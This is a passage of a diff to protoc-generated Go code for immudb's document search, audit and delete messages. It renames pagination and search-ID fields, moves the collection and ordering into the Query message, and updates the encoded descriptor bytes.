json:"query,omitempty"` - OrderBy []*OrderExpression `protobuf:"bytes,4,rep,name=orderBy,proto3" json:"orderBy,omitempty"` - Page uint32 `protobuf:"varint,5,opt,name=page,proto3" json:"page,omitempty"` - PerPage uint32 `protobuf:"varint,6,opt,name=perPage,proto3" json:"perPage,omitempty"` + SearchId string `protobuf:"bytes,1,opt,name=searchId,proto3" json:"searchId,omitempty"` + Query *Query `protobuf:"bytes,2,opt,name=query,proto3" json:"query,omitempty"` + Page uint32 `protobuf:"varint,3,opt,name=page,proto3" json:"page,omitempty"` + PageSize uint32 `protobuf:"varint,4,opt,name=pageSize,proto3" json:"pageSize,omitempty"` } func (x *DocumentSearchRequest) Reset() { @@ -1384,16 +1374,9 @@ func (*DocumentSearchRequest) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{23} } -func (x *DocumentSearchRequest) GetSearchID() string { +func (x *DocumentSearchRequest) GetSearchId() string { if x != nil { - return x.SearchID - } - return "" -} - -func (x *DocumentSearchRequest) GetCollection() string { - if x != nil { - return x.Collection + return x.SearchId } return "" } @@ -1405,13 +1388,6 @@ func (x *DocumentSearchRequest) GetQuery() *Query { return nil } -func (x *DocumentSearchRequest) GetOrderBy() []*OrderExpression { - if x != nil { - return x.OrderBy - } - return nil -} - func (x *DocumentSearchRequest) GetPage() uint32 { if x != nil { return x.Page @@ -1419,24 +1395,25 @@ func (x *DocumentSearchRequest) GetPage() uint32 { return 0 } -func (x *DocumentSearchRequest) GetPerPage() uint32 { +func (x *DocumentSearchRequest) GetPageSize() uint32 { if x != nil { - return x.PerPage + return x.PageSize } return 0 } -type OrderExpression struct { +type Query struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Field string `protobuf:"bytes,1,opt,name=field,proto3" json:"field,omitempty"` - Desc bool `protobuf:"varint,2,opt,name=desc,proto3" json:"desc,omitempty"` + Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` + Expressions []*QueryExpression `protobuf:"bytes,2,rep,name=expressions,proto3" json:"expressions,omitempty"` + OrderBy []*OrderByClause `protobuf:"bytes,3,rep,name=orderBy,proto3" json:"orderBy,omitempty"` } -func (x *OrderExpression) Reset() { - *x = OrderExpression{} +func (x *Query) Reset() { + *x = Query{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[24] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -1444,13 +1421,13 @@ func (x *OrderExpression) Reset() { } } -func (x *OrderExpression) String() string { +func (x *Query) String() string { return protoimpl.X.MessageStringOf(x) } -func (*OrderExpression) ProtoMessage() {} +func (*Query) ProtoMessage() {} -func (x *OrderExpression) ProtoReflect() protoreflect.Message { +func (x *Query) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[24] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -1462,35 +1439,42 @@ func (x *OrderExpression) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use OrderExpression.ProtoReflect.Descriptor instead. -func (*OrderExpression) Descriptor() ([]byte, []int) { +// Deprecated: Use Query.ProtoReflect.Descriptor instead. +func (*Query) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{24} } -func (x *OrderExpression) GetField() string { +func (x *Query) GetCollection() string { if x != nil { - return x.Field + return x.Collection } return "" } -func (x *OrderExpression) GetDesc() bool { +func (x *Query) GetExpressions() []*QueryExpression { if x != nil { - return x.Desc + return x.Expressions } - return false + return nil } -type Query struct { +func (x *Query) GetOrderBy() []*OrderByClause { + if x != nil { + return x.OrderBy + } + return nil +} + +type QueryExpression struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Expressions []*QueryExpression `protobuf:"bytes,1,rep,name=expressions,proto3" json:"expressions,omitempty"` + FieldComparisons []*FieldComparison `protobuf:"bytes,1,rep,name=fieldComparisons,proto3" json:"fieldComparisons,omitempty"` } -func (x *Query) Reset() { - *x = Query{} +func (x *QueryExpression) Reset() { + *x = QueryExpression{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[25] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -1498,13 +1482,13 @@ func (x *Query) Reset() { } } -func (x *Query) String() string { +func (x *QueryExpression) String() string { return protoimpl.X.MessageStringOf(x) } -func (*Query) ProtoMessage() {} +func (*QueryExpression) ProtoMessage() {} -func (x *Query) ProtoReflect() protoreflect.Message { +func (x *QueryExpression) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[25] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -1516,28 +1500,30 @@ func (x *Query) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use Query.ProtoReflect.Descriptor instead. -func (*Query) Descriptor() ([]byte, []int) { +// Deprecated: Use QueryExpression.ProtoReflect.Descriptor instead. +func (*QueryExpression) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{25} } -func (x *Query) GetExpressions() []*QueryExpression { +func (x *QueryExpression) GetFieldComparisons() []*FieldComparison { if x != nil { - return x.Expressions + return x.FieldComparisons } return nil } -type QueryExpression struct { +type FieldComparison struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - FieldComparisons []*FieldComparison `protobuf:"bytes,1,rep,name=fieldComparisons,proto3" json:"fieldComparisons,omitempty"` + Field string `protobuf:"bytes,1,opt,name=field,proto3" json:"field,omitempty"` + Operator ComparisonOperator `protobuf:"varint,2,opt,name=operator,proto3,enum=immudb.model.ComparisonOperator" json:"operator,omitempty"` + Value *structpb.Value `protobuf:"bytes,3,opt,name=value,proto3" json:"value,omitempty"` } -func (x *QueryExpression) Reset() { - *x = QueryExpression{} +func (x *FieldComparison) Reset() { + *x = FieldComparison{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[26] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -1545,13 +1531,13 @@ func (x *QueryExpression) Reset() { } } -func (x *QueryExpression) String() string { +func (x *FieldComparison) String() string { return protoimpl.X.MessageStringOf(x) } -func (*QueryExpression) ProtoMessage() {} +func (*FieldComparison) ProtoMessage() {} -func (x *QueryExpression) ProtoReflect() protoreflect.Message { +func (x *FieldComparison) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[26] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -1563,30 +1549,43 @@ func (x *QueryExpression) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use QueryExpression.ProtoReflect.Descriptor instead. -func (*QueryExpression) Descriptor() ([]byte, []int) { +// Deprecated: Use FieldComparison.ProtoReflect.Descriptor instead. +func (*FieldComparison) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{26} } -func (x *QueryExpression) GetFieldComparisons() []*FieldComparison { +func (x *FieldComparison) GetField() string { if x != nil { - return x.FieldComparisons + return x.Field + } + return "" +} + +func (x *FieldComparison) GetOperator() ComparisonOperator { + if x != nil { + return x.Operator + } + return ComparisonOperator_EQ +} + +func (x *FieldComparison) GetValue() *structpb.Value { + if x != nil { + return x.Value } return nil } -type FieldComparison struct { +type OrderByClause struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Field string `protobuf:"bytes,1,opt,name=field,proto3" json:"field,omitempty"` - Operator ComparisonOperator `protobuf:"varint,2,opt,name=operator,proto3,enum=immudb.model.ComparisonOperator" json:"operator,omitempty"` - Value *structpb.Value `protobuf:"bytes,3,opt,name=value,proto3" json:"value,omitempty"` + Field string `protobuf:"bytes,1,opt,name=field,proto3" json:"field,omitempty"` + Desc bool `protobuf:"varint,2,opt,name=desc,proto3" json:"desc,omitempty"` } -func (x *FieldComparison) Reset() { - *x = FieldComparison{} +func (x *OrderByClause) Reset() { + *x = OrderByClause{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[27] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -1594,13 +1593,13 @@ func (x *FieldComparison) Reset() { } } -func (x *FieldComparison) String() string { +func (x *OrderByClause) String() string { return protoimpl.X.MessageStringOf(x) } -func (*FieldComparison) ProtoMessage() {} +func (*OrderByClause) ProtoMessage() {} -func (x *FieldComparison) ProtoReflect() protoreflect.Message { +func (x *OrderByClause) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[27] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -1612,30 +1611,23 @@ func (x *FieldComparison) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use FieldComparison.ProtoReflect.Descriptor instead. -func (*FieldComparison) Descriptor() ([]byte, []int) { +// Deprecated: Use OrderByClause.ProtoReflect.Descriptor instead. +func (*OrderByClause) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{27} } -func (x *FieldComparison) GetField() string { +func (x *OrderByClause) GetField() string { if x != nil { return x.Field } return "" } -func (x *FieldComparison) GetOperator() ComparisonOperator { - if x != nil { - return x.Operator - } - return ComparisonOperator_EQ -} - -func (x *FieldComparison) GetValue() *structpb.Value { +func (x *OrderByClause) GetDesc() bool { if x != nil { - return x.Value + return x.Desc } - return nil + return false } type DocumentSearchResponse struct { @@ -1643,7 +1635,7 @@ type DocumentSearchResponse struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - SearchID string `protobuf:"bytes,1,opt,name=searchID,proto3" json:"searchID,omitempty"` + SearchId string `protobuf:"bytes,1,opt,name=searchId,proto3" json:"searchId,omitempty"` Revisions []*DocumentAtRevision `protobuf:"bytes,2,rep,name=revisions,proto3" json:"revisions,omitempty"` } @@ -1679,9 +1671,9 @@ func (*DocumentSearchResponse) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{28} } -func (x *DocumentSearchResponse) GetSearchID() string { +func (x *DocumentSearchResponse) GetSearchId() string { if x != nil { - return x.SearchID + return x.SearchId } return "" } @@ -1765,7 +1757,7 @@ type DocumentAuditRequest struct { DocumentId string `protobuf:"bytes,2,opt,name=documentId,proto3" json:"documentId,omitempty"` Desc bool `protobuf:"varint,3,opt,name=desc,proto3" json:"desc,omitempty"` Page uint32 `protobuf:"varint,4,opt,name=page,proto3" json:"page,omitempty"` - PerPage uint32 `protobuf:"varint,5,opt,name=perPage,proto3" json:"perPage,omitempty"` + PageSize uint32 `protobuf:"varint,5,opt,name=pageSize,proto3" json:"pageSize,omitempty"` } func (x *DocumentAuditRequest) Reset() { @@ -1828,9 +1820,9 @@ func (x *DocumentAuditRequest) GetPage() uint32 { return 0 } -func (x *DocumentAuditRequest) GetPerPage() uint32 { +func (x *DocumentAuditRequest) GetPageSize() uint32 { if x != nil { - return x.PerPage + return x.PageSize } return 0 } @@ -2037,8 +2029,7 @@ type DocumentDeleteRequest struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` - Query *Query `protobuf:"bytes,2,opt,name=query,proto3" json:"query,omitempty"` + Query *Query `protobuf:"bytes,1,opt,name=query,proto3" json:"query,omitempty"` } func (x *DocumentDeleteRequest) Reset() { @@ -2073,13 +2064,6 @@ func (*DocumentDeleteRequest) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{34} } -func (x *DocumentDeleteRequest) GetCollection() string { - if x != nil { - return x.Collection - } - return "" -} - func (x *DocumentDeleteRequest) GetQuery() *Query { if x != nil { return x.Query @@ -2235,89 +2219,87 @@ var file_documents_proto_rawDesc = []byte{ 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, - 0x52, 0x0b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x22, 0x97, 0x01, - 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, - 0x72, 0x79, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x7a, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, - 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, - 0x69, 0x6f, 0x6e, 0x22, 0xe5, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, - 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x44, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, - 0x72, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, - 0x75, 0x65, 0x72, 0x79, 0x12, 0x37, 0x0a, 0x07, 0x6f, 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0x18, - 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, - 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4f, 0x72, 0x64, 0x65, 0x72, 0x45, 0x78, 0x70, 0x72, 0x65, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x07, 0x6f, 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0x12, 0x12, 0x0a, - 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, - 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x06, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0x3b, 0x0a, 0x0f, 0x4f, - 0x72, 0x64, 0x65, 0x72, 0x45, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x14, - 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x66, - 0x69, 0x65, 0x6c, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x22, 0x48, 0x0a, 0x05, 0x51, 0x75, 0x65, 0x72, - 0x79, 0x12, 0x3f, 0x0a, 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, - 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, 0x70, 0x72, 0x65, - 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x73, 0x22, 0x5c, 0x0a, 0x0f, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, 0x70, 0x72, 0x65, - 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x49, 0x0a, 0x10, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, - 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x46, - 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x52, 0x10, - 0x66, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, - 0x22, 0x93, 0x01, 0x0a, 0x0f, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, - 0x69, 0x73, 0x6f, 0x6e, 0x12, 0x14, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x3c, 0x0a, 0x08, 0x6f, 0x70, - 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x20, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6d, 0x70, - 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, - 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x2c, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x74, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x12, 0x1a, 0x0a, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x44, 0x12, 0x3e, 0x0a, 0x09, - 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, + 0x52, 0x0b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x22, 0x77, 0x0a, + 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, + 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, + 0x79, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x7a, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, + 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, + 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, + 0x6f, 0x6e, 0x22, 0x8e, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, + 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, + 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, + 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, + 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, + 0x65, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, + 0x69, 0x7a, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, + 0x69, 0x7a, 0x65, 0x22, 0x9f, 0x01, 0x0a, 0x05, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x0a, + 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x3f, 0x0a, + 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, + 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x52, 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x35, + 0x0a, 0x07, 0x6f, 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4f, + 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0x43, 0x6c, 0x61, 0x75, 0x73, 0x65, 0x52, 0x07, 0x6f, 0x72, + 0x64, 0x65, 0x72, 0x42, 0x79, 0x22, 0x5c, 0x0a, 0x0f, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, + 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x49, 0x0a, 0x10, 0x66, 0x69, 0x65, 0x6c, + 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, + 0x6c, 0x2e, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, + 0x6e, 0x52, 0x10, 0x66, 0x69, 0x65, 0x6c, 0x64, 